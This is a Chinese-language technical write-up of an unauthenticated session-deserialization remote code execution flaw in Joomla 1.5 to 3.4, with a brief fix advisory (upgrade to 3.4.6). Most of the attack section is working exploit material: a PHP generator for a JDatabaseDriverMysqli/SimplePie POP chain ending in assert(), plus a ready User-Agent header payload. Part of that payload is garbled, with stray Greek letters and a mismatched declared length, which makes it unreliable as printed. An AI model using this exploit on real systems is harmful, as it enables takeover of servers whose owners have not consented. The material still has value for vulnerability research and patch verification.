說一下這個漏洞的影響和觸發、利用方法。這個漏洞影響Joomla 1.5 to 3.4全版本，並且利用漏洞無需登入，只需要傳送兩次資料包即可（第一次：將session插入資料庫中，第二次傳送同樣的資料包來取出session、觸發漏洞、執行任意程式碼），後果是直接導致任意程式碼執行。

0x00 漏洞點 —— 反序列化session

---

這個漏洞存在於反序列化session的過程中。

漏洞存在於 libraries/joomla/session/session.php 中，_validate函式，將ua和xff呼叫set方法設定到了session中（session.client.browser和session.client.forwarded）

#!php
protected function _validate($restart = false)
    {
        ...

        // Record proxy forwarded for in the session in case we need it later
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
        }

        ...
        // Check for clients browser
        if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
        {
            $browser = $this->get('session.client.browser');

            if ($browser === null)
            {
                $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
            }
            elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
            {
                // @todo remove code: $this->_state = 'error';
                // @todo remove code: return false;
            }

最終跟隨他們倆進入資料庫，session表：

正常情況下，不存在任何問題。因為我們控制的只是反序列化物件中的一個字串，不會觸發反序列相關的漏洞。 但是，因為一個小姿勢，導致後面我們可以控制整個反序列化物件。

0x01 利用|字元偽造，控制整個反序列化字串

---

首先，[email protected]： https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
和pch-013中的情況類似，joomla也沒有采用php自帶的session處理機制，而是用多種方式（包括database、memcache等）自己編寫了儲存session的容器（storage）。

其儲存格式為『鍵名 ＋ 豎線 ＋ 經過 serialize() 函式反序列處理的值』，未正確處理多個豎線的情況。
那麼，我們這裡就可以透過注入一個"|"符號，將它前面的部分全部認為是name，而|後面我就可以插入任意serialize字串，構造反序列化漏洞了。

但還有一個問題，在我們構造好的反序列化字串後面，還有它原本的內容，必須要截斷。而此處並不像SQL隱碼攻擊，還有註釋符可用。 不知各位是否還記得當年wordpress出過的一個XSS，當時就是在插入資料庫的時候利用"%F0%9D%8C%86"字元將mysql中utf-8的欄位截斷了。

這裡我們用同樣的方法，在session進入資料庫的時候就截斷後面的內容，避免對我們反序列化過程造成影響。

0x02 構造POP執行鏈，執行任意程式碼

---

在可以控制反序列化物件以後，我們只需構造一個能夠一步步呼叫的執行鏈，即可進行一些危險的操作了。 exp構造的執行鏈，分別利用瞭如下類：

1. JDatabaseDriverMysqli
2. SimplePie

我們可以在JDatabaseDriverMysqli類的解構函式里找到一處敏感操作：

#!php
    public function __destruct()
    {
        $this->disconnect();
    }
    ...
    public function disconnect()
    {
        // Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

            mysqli_close($this->connection);
        }

        $this->connection = null;
    }

當exp物件反序列化後，將會成為一個JDatabaseDriverMysqli類物件，不管中間如何執行，最後都將會呼叫__destruct，__destruct將會呼叫disconnect，disconnect裡有一處敏感函式：call_user_func_array。
但很明顯，這裡的call_user_func_array的第二個引數，是我們無法控制的。所以不能直接構造assert+eval來執行任意程式碼。
於是這裡再次呼叫了一個物件：SimplePie類物件，和它的init方法組成一個回撥函式[new SimplePie(), 'init']，傳入call_user_func_array。 跟進init方法：

#!php
function init()
    {
        // Check absolute bare minimum requirements.
        if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
        {
            return false;
        }
        ...
        if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;

            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
                }

很明顯，其中這兩個call_user_func將是觸發程式碼執行的元兇。 所以，我將其中第二個call_user_func的第一個引數cache_name_function，賦值為assert，第二個引數賦值為我需要執行的程式碼，就構造好了一個『回撥後門』。
所以，exp是怎麼生成的？給出我寫的生成程式碼：

#!php
<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
echo serialize($a);

將這個程式碼生成的exp，以前面提到的注入『|』的變換方式，帶入前面提到的user-agent中，即可觸發程式碼執行。 其中，我們需要將char(0)*char(0)替換成\0\0\0，因為在序列化的時候，protected型別變數會被轉換成\0*\0name的樣式，這個替換在原始碼中也可以看到：

#!php
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

構造的時候遇到一點小麻煩，那就是預設情況下SimplePie是沒有定義的，這也是為什麼我在呼叫SimplePie之前先new了一個JSimplepieFactory的原因，因為JSimplepieFactory物件在載入時會呼叫import函式將SimplePie匯入到當前工作環境：

而JSimplepieFactory有autoload，所以不再需要其他include來對其進行載入。 給出我最終構造的POC（既是上訴php程式碼生成的POC）：

#!php
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"ρhιτhσπpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð

給一張程式碼成功執行的POC：

0x03 影響版本 & 修復方案

1.5 to 3.4全版本

更新到3.4.6版本